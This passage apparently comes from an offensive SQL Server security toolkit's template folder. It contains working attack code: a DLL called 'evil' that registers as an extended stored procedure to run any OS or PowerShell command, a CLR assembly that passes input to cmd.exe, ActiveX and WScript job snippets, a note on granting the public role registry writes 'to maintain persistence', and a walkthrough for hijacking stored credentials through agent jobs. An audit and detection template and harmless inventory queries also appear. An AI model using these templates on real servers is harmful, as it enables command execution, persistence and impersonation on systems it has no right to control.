216 | SELECT * FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0','Data Source=\\server1\DataFolder\Documents\TestExcel.xls;Extended Properties=EXCEL 5.0')...[Sheet1$] ;
217 |
218 | -- Web Dav Notes
219 | xp_dirtree '\\hostname@SSL\test' --ssl 443
220 | xp_dirtree '\\hostname@SSL@1234\test' --ssl port 1234
221 | xp_dirtree '\\hostname@1234\test' --http
222 |
--------------------------------------------------------------------------------
/templates/VB and JS Scripts Examples:
--------------------------------------------------------------------------------
1 | @command=N'function RunCmd()
2 | {
3 |
4 | var objShell = new ActiveXObject("shell.application");
5 | objShell.ShellExecute("cmd.exe",
6 | "/c echo hello > c:\\windows\\temp\\blah.txt",
7 | "",
8 | "open",
9 | 0);
10 | }
11 |
12 | RunCmd();’
13 |
14 |
15 | @command=N'FUNCTION Main()
16 |
17 | dim shell
18 | set shell= CreateObject ("WScript.Shell")
19 | shell.run("c:\windows\system32\cmd.exe /c echo hello > c:\windows\temp\blah.txt")
20 | set shell = nothing
21 |
22 | END FUNCTION’,
23 |
--------------------------------------------------------------------------------
/templates/cmd_exec.cpp:
--------------------------------------------------------------------------------
1 | // DllMain.cpp
2 | // Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
3 | // Note: Compile for 32 and 64
4 | // Manual
5 | // rundll32 evil32.dll,RunCmd
6 | // rundll32 evil32.dll,RunPs
7 | // rundll32 evil64.dll,RunCmd
8 | // rundll32 evil64.dll,RunPs
9 | // Register DLL in SQL Server Examples
10 | // sp_addextendedproc 'RunCmd', 'c:\Temp\evil32.dll';
11 | // sp_addextendedproc 'RunCmd', 'c:\Temp\evil64.dll';
12 | // sp_addextendedproc 'RunPs', 'c:\Temp\evil32.dll';
13 | // sp_addextendedproc 'RunPs', 'c:\Temp\evil64.dll';
14 | // sp_addextendedproc 'RunPs', '\\server\share\evil64.dll'; :) - DLL doesn't need to be hosted on target system's disk
15 | // Run Command Examples
16 | // RunCmd "whoami"
17 | // RunPs "write-output 'Hellow World' | Out-File c:\temp\file.txt"
18 | // Remove Procedures
19 | // sp_dropextendedproc 'RunCmd';
20 | // sp_dropextendedproc 'RunPs';
21 | // Todo: https://technet.microsoft.com/en-us/library/aa197372(v=sql.80).aspx
22 |
23 | #include "stdafx.h" //dllmain.cpp : Defines the entry point for the DLL application.
24 | #include "srv.h" //Must get from C:\Program Files (x86)\Microsoft SQL Server\80\Tools\DevTools\Include
25 | #include "shellapi.h" //needed for ShellExecute
26 | #include "string" //needed for std:string
27 |
28 | BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){
29 |
30 | switch (ul_reason_for_call)
31 | {
32 | case DLL_PROCESS_ATTACH:
33 | case DLL_THREAD_ATTACH:
34 | case DLL_THREAD_DETACH:
35 | case DLL_PROCESS_DETACH:
36 | break;
37 | }
38 | system("echo This is a test. > c:\\Temp\\test_dllmain.txt");
39 | return 1;
40 | }
41 |
42 | #define RUNCMD_FUNC extern "C" __declspec (dllexport)
43 | RUNCMD_FUNC int __stdcall RunCmd(const char * Command) {
44 |
45 | // Run OS command with ShellExecute
46 | ShellExecute(NULL, TEXT("open"), TEXT("cmd"), TEXT(" /C echo This is a test. > c:\\Temp\\test_cmd2.txt"), TEXT(" C:\\ "), SW_SHOW);
47 |
48 | // Run OS command with system hard coded
49 | system("echo This is a test. > c:\\Temp\\test_cmd1.txt");
50 |
51 | // Run OS command with system hard coded from variable
52 | const char *pdata = "echo This is a test. > c:\\Temp\\test_cmd3.txt";
53 | system(pdata);
54 |
55 | // Run OS command with system from arg
56 | system(Command);
57 |
58 | return 1;
59 | }
60 |
61 | #define RUNPS_FUNC extern "C" __declspec (dllexport)
62 | RUNPS_FUNC int __stdcall RunPs(const char * Command) {
63 |
64 | // Run PowerShell command
65 | ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C \" 'This is a test.'|out-file c:\\temp\\test_ps2.txt \" "), TEXT(" C:\\ "), SW_SHOW);
66 | system("PowerShell -C \"'This is a test.'|out-file c:\\temp\\test_ps1.txt\"");
67 |
68 | return 1;
69 | }
70 |
--------------------------------------------------------------------------------
/templates/cmd_exec.cs:
--------------------------------------------------------------------------------
1 | // CLR assembly template for SQL Server that can execute os commands
2 | // Based on the following online resources:
3 | // - https://msdn.microsoft.com/en-us/library/ff878250.aspx
4 | // - https://msdn.microsoft.com/en-us/library/microsoft.sqlserver.server.sqlpipe.sendresultsrow(v=vs.110).aspx
5 | // - http://sekirkity.com/seeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution/
6 | // Compile example: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs
7 |
8 | using System;
9 | using System.Data;
10 | using System.Data.SqlClient;
11 | using System.Data.SqlTypes;
12 | using Microsoft.SqlServer.Server;
13 | using System.IO;
14 | using System.Diagnostics;
15 | using System.Text;
16 |
17 | public partial class StoredProcedures
18 | {
19 | [Microsoft.SqlServer.Server.SqlProcedure]
20 | public static void cmd_exec (SqlString execCommand)
21 | {
22 | Process proc = new Process();
23 | proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
24 | proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
25 | proc.StartInfo.UseShellExecute = false;
26 | proc.StartInfo.RedirectStandardOutput = true;
27 | proc.Start();
28 |
29 | // Create the record and specify the metadata for the columns.
30 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
31 |
32 | // Mark the begining of the result-set.
33 | SqlContext.Pipe.SendResultsStart(record);
34 |
35 | // Set values for each column in the row
36 | record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
37 |
38 | // Send the row back to the client.
39 | SqlContext.Pipe.SendResultsRow(record);
40 |
41 | // Mark the end of the result-set.
42 | SqlContext.Pipe.SendResultsEnd();
43 |
44 | proc.WaitForExit();
45 | proc.Close();
46 | }
47 | };
48 |
--------------------------------------------------------------------------------
/templates/supercowencrypt.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Data;
3 | using System.Data.SqlClient;
4 | using System.Data.SqlTypes;
5 | using Microsoft.SqlServer.Server;
6 | using System.Security.Cryptography;
7 | using System.IO;
8 | using System.Diagnostics;
9 | using System.Text;
10 |
11 | // Source: https://stackoverflow.com/questions/202011/encrypt-and-decrypt-a-string
12 | // Reference: https://msdn.microsoft.com/en-us/library/system.security.cryptography.aes(v=vs.110).aspx
13 | //
14 | // C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\commonlib.cs
15 | //
16 | // CREATE ASSEMBLY commonlib
17 | // FROM 'c:\temp\commonlib.dll'
18 | // WITH PERMISSION_SET = UNSAFE;
19 | // CREATE PROCEDURE [dbo].[beefencrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefencrypt];
20 | // CREATE PROCEDURE [dbo].[beefdecrypt] @MyString NVARCHAR (4000) AS EXTERNAL NAME [commonlib].[commonlib].[beefdecrypt];
21 | // beefencrypt "hello there"
22 | // beefdecrypt "EAAAAHCGLUEsOXF3Y20X/E8riuIfwqpf/qBfEJuYjttS3VDY"
23 |
24 | public partial class commonlib
25 | {
26 |
27 | [Microsoft.SqlServer.Server.SqlProcedure]
28 | public static void beefencrypt (SqlString MyString)
29 | {
30 | try
31 | {
32 | string encrypted64 = EncryptStringAES(string.Format(MyString.Value),"aeshidethebeef12345");
33 |
34 | // Create the record and specify the metadata for the columns.
35 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
36 |
37 | // Mark the begining of the result-set.
38 | SqlContext.Pipe.SendResultsStart(record);
39 |
40 | // Set values for each column in the row
41 | record.SetString(0, encrypted64);
42 |
43 | // Send the row back to the client.
44 | SqlContext.Pipe.SendResultsRow(record);
45 |
46 | // Mark the end of the result-set.
47 | SqlContext.Pipe.SendResultsEnd();
48 | }
49 | catch (Exception e)
50 | {
51 | Console.WriteLine("Error: {0}", e.Message);
52 | }
53 | }
54 |
55 | [Microsoft.SqlServer.Server.SqlProcedure]
56 | public static void beefdecrypt (SqlString MyString)
57 | {
58 | try
59 | {
60 | string decrypted = DecryptStringAES(string.Format(MyString.Value),"aeshidethebeef12345");
61 |
62 | // Create the record and specify the metadata for the columns.
63 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
64 |
65 | // Mark the begining of the result-set.
66 | SqlContext.Pipe.SendResultsStart(record);
67 |
68 | // Set values for each column in the row
69 | record.SetString(0, decrypted);
70 |
71 | // Send the row back to the client.
72 | SqlContext.Pipe.SendResultsRow(record);
73 |
74 | // Mark the end of the result-set.
75 | SqlContext.Pipe.SendResultsEnd();
76 | }
77 | catch (Exception e)
78 | {
79 | Console.WriteLine("Error: {0}", e.Message);
80 | }
81 | }
82 |
83 | private static byte[] _salt = Encoding.Unicode.GetBytes("CaptainSalty");
84 |
85 | public static string EncryptStringAES(string plainText, string sharedSecret)
86 | {
87 | if (string.IsNullOrEmpty(plainText))
88 | throw new ArgumentNullException("plainText");
89 | if (string.IsNullOrEmpty(sharedSecret))
90 | throw new ArgumentNullException("sharedSecret");
91 |
92 | string outStr = null; // Encrypted string to return
93 | RijndaelManaged aesAlg = null; // RijndaelManaged object used to encrypt the data.
94 |
95 | try
96 | {
97 | // generate the key from the shared secret and the salt
98 | Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt);
99 |
100 | // Create a RijndaelManaged object
101 | aesAlg = new RijndaelManaged();
102 | aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8);
103 | aesAlg.Mode = CipherMode.ECB;
104 |
105 | // Create a decryptor to perform the stream transform.
106 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
107 |
108 | // Create the streams used for encryption.
109 | using (MemoryStream msEncrypt = new MemoryStream())
110 | {
111 | // prepend the IV
112 | msEncrypt.Write(BitConverter.GetBytes(aesAlg.IV.Length), 0, sizeof(int));
113 | msEncrypt.Write(aesAlg.IV, 0, aesAlg.IV.Length);
114 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
115 | {
116 | using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
117 | {
118 | //Write all data to the stream.
119 | swEncrypt.Write(plainText);
120 | }
121 | }
122 | outStr = Convert.ToBase64String(msEncrypt.ToArray());
123 | }
124 | }
125 | finally
126 | {
127 | // Clear the RijndaelManaged object.
128 | if (aesAlg != null)
129 | aesAlg.Clear();
130 | }
131 |
132 | // Return the encrypted bytes from the memory stream.
133 | return outStr;
134 | }
135 |
136 | public static string DecryptStringAES(string cipherText, string sharedSecret)
137 | {
138 | if (string.IsNullOrEmpty(cipherText))
139 | throw new ArgumentNullException("cipherText");
140 | if (string.IsNullOrEmpty(sharedSecret))
141 | throw new ArgumentNullException("sharedSecret");
142 |
143 | // Declare the RijndaelManaged object
144 | // used to decrypt the data.
145 | RijndaelManaged aesAlg = null;
146 |
147 | // Declare the string used to hold
148 | // the decrypted text.
149 | string plaintext = null;
150 |
151 | try
152 | {
153 | // generate the key from the shared secret and the salt
154 | Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt);
155 |
156 | // Create the streams used for decryption.
157 | byte[] bytes = Convert.FromBase64String(cipherText);
158 | using (MemoryStream msDecrypt = new MemoryStream(bytes))
159 | {
160 | // Create a RijndaelManaged object
161 | // with the specified key and IV.
162 | aesAlg = new RijndaelManaged();
163 | aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8);
164 | aesAlg.Mode = CipherMode.ECB;
165 |
166 | // Get the initialization vector from the encrypted stream
167 | aesAlg.IV = ReadByteArray(msDecrypt);
168 | // Create a decrytor to perform the stream transform.
169 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
170 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
171 | {
172 | using (StreamReader srDecrypt = new StreamReader(csDecrypt))
173 |
174 | // Read the decrypted bytes from the decrypting stream
175 | // and place them in a string.
176 | plaintext = srDecrypt.ReadToEnd();
177 | }
178 | }
179 | }
180 | finally
181 | {
182 | // Clear the RijndaelManaged object.
183 | if (aesAlg != null)
184 | aesAlg.Clear();
185 | }
186 |
187 | return plaintext;
188 | }
189 |
190 | private static byte[] ReadByteArray(Stream s)
191 | {
192 | byte[] rawLength = new byte[sizeof(int)];
193 | if (s.Read(rawLength, 0, rawLength.Length) != rawLength.Length)
194 | {
195 | throw new SystemException("Stream did not contain properly formatted byte array");
196 | }
197 |
198 | byte[] buffer = new byte[BitConverter.ToInt32(rawLength, 0)];
199 | if (s.Read(buffer, 0, buffer.Length) != buffer.Length)
200 | {
201 | throw new SystemException("Did not read byte array properly");
202 | }
203 |
204 | return buffer;
205 | }
206 | }
207 |
--------------------------------------------------------------------------------
/templates/tsql/AllowPublicXpRegWrite:
--------------------------------------------------------------------------------
1 | Scenario
2 | --------
3 | Provide least privilege (public role) SQL Logins the right to execute xp_regwrite in order to maintain persistence oth perform other actions.
4 |
5 | GRANT EXEC ON OBJECT::master.dbo.xp_regwrite TO [Public]
6 |
7 | Issue
8 | -----
9 | By default, non sysadmin logins can only use xp_regwrite on the followin registry keys.
10 |
11 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
12 | HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\SQLAgent$
13 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication
14 |
15 | Write access appears to be recursive, with the exception of:
16 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQLServer\ExtendedProcedures
17 |
18 | Solution
19 | --------
20 | An undocumentated registry key exists that allows local administrators to set a white list of registry locations that can be read/written
21 | to by non sysadmin logins. Simply add the registry location you wish to white list to registry keys below.
22 |
23 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQLServer\ExtendedProcedures\
24 | Xp_regread Allowed Paths
25 | REG_MULTI_SZ
26 |
27 | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQLServer\ExtendedProcedures\
28 | Xp_regwrite Allowed Paths
29 | REG_MULTI_SZ
30 |
31 | After the registry updates are made the only thing restricting access are the privileges assign to the SQL Server service account.
32 |
33 | Source: https://support.microsoft.com/en-us/kb/887165
34 |
--------------------------------------------------------------------------------
/templates/tsql/Audit Command Execution Template.sql:
--------------------------------------------------------------------------------
1 | /*
2 | Script Name: Audit Command Execution Template.sql
3 | Description: This TSQL script can be used to configure SQL Server to log events commonly associated with operating system command execution to the Windows Application log.
4 | Author: Scott Sutherland (@_nullbind), 2017 NetSPI
5 |
6 | SIEM Cheatsheet for Potentially Malicious Events in SQL Server
7 |
8 | Windows Application Log
9 | Event ID: 15457
10 | Description: This event is associated with server configuration changes. Watch for the following configuration changes:
11 |
12 | Configuration option 'external scripts enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
13 | Configuration option 'Ole Automation Procedures' changed from 0 to 1. Run the RECONFIGURE statement to install.
14 | Configuration option 'clr enabled' changed from 0 to 1. Run the RECONFIGURE statement to install.
15 | Configuration option 'clr strict security' changed from 0 to 1. Run the RECONFIGURE statement to install.
16 | Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
17 | Configuration option 'Ad Hoc Distributed Queries' changed from 0 to 1. Run the RECONFIGURE statement to install.
18 |
19 | Windows Application Log
20 | Event ID: 33205
21 | Description: This event applies to the SQL Server Agent and database level changes. Watch for the following:
22 |
23 | msdb.dbo.sp_add_job Watch for potentially malicious ActiveX, cmdexec, and powershell jobs.
24 | "sp_execute_external_script" Watch for cmd.exe and similar calls.
25 | "sp_OACreate" Watch for Sp_oacreate 'wscript.shell’ and similar calls
26 | "sp_addextendedproc" Watch for any usage
27 | "sp_add_trusted_assembly" Watch for unauthorized usage
28 |
29 | NOTE: Make sure to enabled the auditing as shown below.
30 | */
31 |
32 |
33 | /*
34 | Create and Enable Audit Policies
35 | */
36 | USE master
37 | CREATE SERVER AUDIT DerbyconAudit
38 | TO APPLICATION_LOG
39 | WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
40 | ALTER SERVER AUDIT DerbyconAudit
41 | WITH (STATE = ON)
42 |
43 | -- Server: Audit server configuration changes
44 | -- Windows Log: Application
45 | -- Events: 15457
46 | CREATE SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes]
47 | FOR SERVER AUDIT DerbyconAudit
48 | ADD (AUDIT_CHANGE_GROUP), -- Audit Audit changes
49 | ADD (SERVER_OPERATION_GROUP) -- Audit server changes
50 | WITH (STATE = ON)
51 |
52 | -- DATABASE: Audit common agent job activity
53 | -- Windows Log: Application
54 | -- Events: 33205
55 | Use msdb
56 | CREATE DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs]
57 | FOR SERVER AUDIT [DerbyconAudit]
58 | ADD (EXECUTE ON OBJECT::[dbo].[sp_add_job] BY [dbo])
59 | WITH (STATE = ON)
60 |
61 | -- DATABASE: Audit potentially dangerous procedures
62 | -- Windows Log: Application
63 | -- Events: 33205
64 | use master
65 | CREATE DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC]
66 | FOR SERVER AUDIT [DerbyconAudit]
67 | ADD (EXECUTE ON OBJECT::[dbo].[xp_cmdshell] BY [dbo]), -- Audit xp_cmdshell execution
68 | ADD (EXECUTE ON OBJECT::[dbo].[sp_addextendedproc] BY [dbo]), -- Audit additional of custom extended stored procedures
69 | ADD (EXECUTE ON OBJECT::[dbo].[sp_execute_external_script] BY [dbo]), -- Audit execution of external scripts such as R and Python
70 | ADD (EXECUTE ON OBJECT::[dbo].[Sp_oacreate] BY [dbo]), -- Audit OLE Automation Procedure execution
71 | ADD (SELECT ON OBJECT::[MASTER].[dbo].[sysservers] BY [dbo]), -- Log listing links via sysserver access
72 | ADD (EXECUTE ON OBJECT::[MASTER].[dbo].[sp_linkedservers] BY [dbo]), -- Log listing links via sp_linkedservers
73 | ADD (EXECUTE ON OBJECT::[MASTER].[dbo].[sp_addlinkedserver] BY [dbo]), -- Log linked server creation
74 | ADD (EXECUTE ON OBJECT::[MASTER].[dbo].[sp_addlinkedsrvlogin] BY [dbo]) -- Log linked server user configuration
75 | WITH (STATE = ON)
76 |
77 |
78 | /*
79 | View Audit Policies
80 | */
81 |
82 | -- View audits
83 | SELECT * FROM sys.dm_server_audit_status
84 |
85 | -- View server specifications
86 | SELECT audit_id,
87 | a.name as audit_name,
88 | s.name as server_specification_name,
89 | d.audit_action_name,
90 | s.is_state_enabled,
91 | d.is_group,
92 | d.audit_action_id,
93 | s.create_date,
94 | s.modify_date
95 | FROM sys.server_audits AS a
96 | JOIN sys.server_audit_specifications AS s
97 | ON a.audit_guid = s.audit_guid
98 | JOIN sys.server_audit_specification_details AS d
99 | ON s.server_specification_id = d.server_specification_id
100 |
101 | -- View database specifications
102 | SELECT a.audit_id,
103 | a.name as audit_name,
104 | s.name as database_specification_name,
105 | d.audit_action_name,
106 | d.major_id,
107 | OBJECT_NAME(d.major_id) as object,
108 | s.is_state_enabled,
109 | d.is_group, s.create_date,
110 | s.modify_date,
111 | d.audited_result
112 | FROM sys.server_audits AS a
113 | JOIN sys.database_audit_specifications AS s
114 | ON a.audit_guid = s.audit_guid
115 | JOIN sys.database_audit_specification_details AS d
116 | ON s.database_specification_id = d.database_specification_id
117 |
118 |
119 | /*
120 | Remove Audit Policies
121 | */
122 |
123 | -- Remove Audit_Server_Configuration_Changes
124 | use master
125 | ALTER SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes]
126 | WITH (STATE = OFF)
127 | DROP SERVER AUDIT SPECIFICATION [Audit_Server_Configuration_Changes]
128 |
129 | -- Remove Audit_OSCMDEXEC
130 | USE master
131 | ALTER DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC]
132 | WITH (STATE = OFF)
133 | DROP DATABASE AUDIT SPECIFICATION [Audit_OSCMDEXEC]
134 |
135 | -- Remove Audit_Agent_Jobs
136 | USE msdb
137 | ALTER DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs]
138 | WITH (STATE = OFF)
139 | DROP DATABASE AUDIT SPECIFICATION [Audit_Agent_Jobs]
140 |
141 | -- Remove DerbyconAudit audit
142 | ALTER SERVER AUDIT DerbyconAudit
143 | WITH (STATE = OFF)
144 | DROP SERVER AUDIT DerbyconAudit
145 |
--------------------------------------------------------------------------------
/templates/tsql/Get-10MostExpensiveQueries.tsql:
--------------------------------------------------------------------------------
1 | -- Top 10 Most expensive queries
2 | -- https://blog.sqlauthority.com/2010/05/14/sql-server-find-most-expensive-queries-using-dmv/
3 |
4 | SELECT TOP 10 SUBSTRING(qt.TEXT, (qs.statement_start_offset/2)+1,
5 | ((CASE qs.statement_end_offset
6 | WHEN -1 THEN DATALENGTH(qt.TEXT)
7 | ELSE qs.statement_end_offset
8 | END - qs.statement_start_offset)/2)+1),
9 | qs.execution_count,
10 | qs.total_logical_reads, qs.last_logical_reads,
11 | qs.total_logical_writes, qs.last_logical_writes,
12 | qs.total_worker_time,
13 | qs.last_worker_time,
14 | qs.total_elapsed_time/1000000 total_elapsed_time_in_S,
15 | qs.last_elapsed_time/1000000 last_elapsed_time_in_S,
16 | qs.last_execution_time,
17 | qp.query_plan
18 | FROM sys.dm_exec_query_stats qs
19 | CROSS APPLY sys.dm_exec_sql_text(qs.sql_handle) qt
20 | CROSS APPLY sys.dm_exec_query_plan(qs.plan_handle) qp
21 | ORDER BY qs.total_logical_reads DESC -- logical reads
22 | -- ORDER BY qs.total_logical_writes DESC -- logical writes
23 | -- ORDER BY qs.total_worker_time DESC -- CPU time
24 |
--------------------------------------------------------------------------------
/templates/tsql/Get-AgentCredentialList.tsql:
--------------------------------------------------------------------------------
1 | // Get list of credentials used by agent jobs.
2 |
3 | USE msdb;
4 | GO
5 |
6 | SELECT
7 | j.name AS JobName,
8 | s.step_id AS StepID,
9 | s.step_name AS StepName,
10 | c.name AS CredentialName
11 | FROM sysjobs j
12 | JOIN sysjobsteps s ON j.job_id = s.job_id
13 | LEFT JOIN sys.credentials c ON s.proxy_id = c.credential_id
14 | WHERE c.name IS NOT NULL
15 | ORDER BY j.name, s.step_id;
16 |
--------------------------------------------------------------------------------
/templates/tsql/Get-AgentJob.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-AgentJob.sql
2 | -- Description: Return a list of agent jobs.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms189817.aspx
4 |
5 | SELECT SUSER_SNAME(owner_sid) as [JOB_OWNER],
6 | job.job_id as [JOB_ID],
7 | name as [JOB_NAME],
8 | description as [JOB_DESCRIPTION],
9 | step_name,
10 | command,
11 | enabled,
12 | server,
13 | database_name,
14 | date_created
15 | FROM [msdb].[dbo].[sysjobs] job
16 | INNER JOIN [msdb].[dbo].[sysjobsteps] steps
17 | ON job.job_id = steps.job_id
18 | ORDER BY JOB_OWNER,JOB_NAME
--------------------------------------------------------------------------------
/templates/tsql/Get-AuditAction.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-AuditAction.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: Returns available audit actions.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/cc280725.aspx
5 |
6 | SELECT DISTINCT action_id,name,class_desc,parent_class_desc,containing_group_name
7 | FROM sys.dm_audit_actions
8 | ORDER BY parent_class_desc,containing_group_name,name
9 |
--------------------------------------------------------------------------------
/templates/tsql/Get-AuditDatabase.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-AuditDatabase.sql
2 | -- Description: Return a list audit database specifications.
3 | -- Reference: https://technet.microsoft.com/en-us/library/ms190227(v=sql.110).aspx
4 |
5 | SELECT a.audit_id,
6 | a.name as audit_name,
7 | s.name as database_specification_name,
8 | d.audit_action_name,
9 | d.major_id,
10 | OBJECT_NAME(d.major_id) as object,
11 | s.is_state_enabled,
12 | d.is_group,
13 | s.create_date,
14 | s.modify_date,
15 | d.audited_result
16 | FROM sys.server_audits AS a
17 | JOIN sys.database_audit_specifications AS s
18 | ON a.audit_guid = s.audit_guid
19 | JOIN sys.database_audit_specification_details AS d
20 | ON s.database_specification_id = d.database_specification_id
21 |
--------------------------------------------------------------------------------
/templates/tsql/Get-AuditServer.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-AuditServer.sql
2 | -- Description: Return a list audit server specifications.
3 | -- Reference: https://technet.microsoft.com/en-us/library/cc280663(v=sql.105).aspx
4 |
5 | SELECT audit_id,
6 | a.name as audit_name,
7 | s.name as server_specification_name,
8 | d.audit_action_name,
9 | s.is_state_enabled,
10 | d.is_group,
11 | d.audit_action_id,
12 | s.create_date,
13 | s.modify_date
14 | FROM sys.server_audits AS a
15 | JOIN sys.server_audit_specifications AS s
16 | ON a.audit_guid = s.audit_guid
17 | JOIN sys.server_audit_specification_details AS d
18 | ON s.server_specification_id = d.server_specification_id
19 |
--------------------------------------------------------------------------------
/templates/tsql/Get-CachedPlans.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-CachedPlans.sql
2 | -- Requirements: Sysadmin or required SELECT privileges.
3 | -- Description: Returns a row for each query plan that has been cached by SQL Server for faster query execution since the service started.
4 | -- Reference: https://msdn.microsoft.com/en-us/library/ms187404.aspx
5 |
6 | SELECT bucketid,plan_handle,size_in_bytes,cacheobjtype,objtype,dbid,DB_NAME(dbid) as DatabaseName,objectid,OBJECT_NAME(objectid) as ObjectName,refcounts,usecounts,number,encrypted,text
7 | FROM sys.dm_exec_cached_plans AS p
8 | CROSS APPLY sys.dm_exec_sql_text(p.plan_handle) AS t
9 | ORDER BY usecounts DESC
10 |
11 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Column.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Column.sql
2 | -- Description: Get list of columns for the current database.
3 | -- Reference: https://msdn.microsoft.com/en-us/library/ms188348.aspx
4 |
5 | SELECT
6 | @@servername as [INSTANCE_NAME],
7 | t.TABLE_CATALOG AS [DATABASE_NAME],
8 | t.TABLE_SCHEMA AS [SCHEMA_NAME],
9 | t.TABLE_NAME,
10 | CASE
11 | WHEN (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) > 1 THEN 1 ELSE 0 END) = 1 THEN 'GlobalTempTable'
12 | WHEN t.TABLE_NAME LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'LocalTempTable'
13 | WHEN t.TABLE_NAME NOT LIKE '%[_]%' AND (SELECT CASE WHEN LEN(t.TABLE_NAME) - LEN(REPLACE(t.TABLE_NAME,'#','')) = 1 THEN 1 ELSE 0 END) = 1 THEN 'TableVariable'
14 | ELSE t.TABLE_TYPE
15 | END AS Table_Type,
16 | c.COLUMN_NAME,
17 | c.DATA_TYPE,
18 | st.is_ms_shipped,
19 | st.is_published,
20 | st.is_schema_published,
21 | st.create_date,
22 | st.modify_date AS modified_date
23 | FROM [INFORMATION_SCHEMA].[TABLES] t
24 | JOIN sys.tables st ON t.TABLE_NAME = st.name AND t.TABLE_SCHEMA = OBJECT_SCHEMA_NAME(st.object_id)
25 | JOIN sys.objects s ON st.object_id = s.object_id
26 | LEFT JOIN sys.extended_properties ep ON s.object_id = ep.major_id
27 | AND ep.minor_id = 0
28 | JOIN [INFORMATION_SCHEMA].[COLUMNS] c ON t.TABLE_NAME = c.TABLE_NAME AND t.TABLE_SCHEMA = c.TABLE_SCHEMA
29 | ORDER BY t.TABLE_CATALOG, t.TABLE_SCHEMA, t.TABLE_NAME, c.ORDINAL_POSITION;
30 |
31 |
--------------------------------------------------------------------------------
/templates/tsql/Get-Credential.sql:
--------------------------------------------------------------------------------
1 | -- Script: Get-Credential.sql
2 | -- Description: Get list of credentials on the server.
3 | -- Reference: https://msdn.microsoft.com/en-us/ms161950.aspx
4 |
5 | SELECT * FROM [sys].[credentials]
--------------------------------------------------------------------------------
/templates/tsql/Get-Credentials-Hijack.tsql:
--------------------------------------------------------------------------------
1 | -- Tested and worked - SQL Server v2014 instance
2 | -- Author: Scott Sutherland @_nullbind (Twitter)
3 |
4 | -- #################################
5 | -- LAB SETUP SUMMARY
6 | --- #################################
7 | -- 1. Install local instance
8 | -- 2. Create local OS user named 'testuser'.
9 | -- 3. Log into SQL Server instance as a sysadmin and create credential.
10 |
11 | -- #################################
12 | -- LAB SETUP SUMMARY
13 | -- #################################
14 | -- 1. Log into the SQL Server instance as a sysadmin.
15 | -- 2. List credentials.
16 | -- 3. List proxy accounts.
17 | -- 3. Create proxy account and assign privileges to it (if proxy account doesnt exist for credential already). List proxy accounts to confirm addition.
18 | -- 4. Create Agent job that uses the proxy account.
19 | -- 5. Execute a PowerShell, VBscript, JScript, or CMDEXEC Agent Job. These will create processes on the system in that user context.
20 | -- 6. Confirm execution by reviewing history.
21 |
22 | --- #################################
23 | -- Walk Through Below
24 | --- #################################
25 |
26 | ----------------------------------------------------
27 | -- Create a new credential named 'MyCredential' for testing (for lab only)
28 | ----------------------------------------------------
29 | CREATE CREDENTIAL [MyCredential]
30 | WITH IDENTITY = 'yourcomputernamehere\testuser',
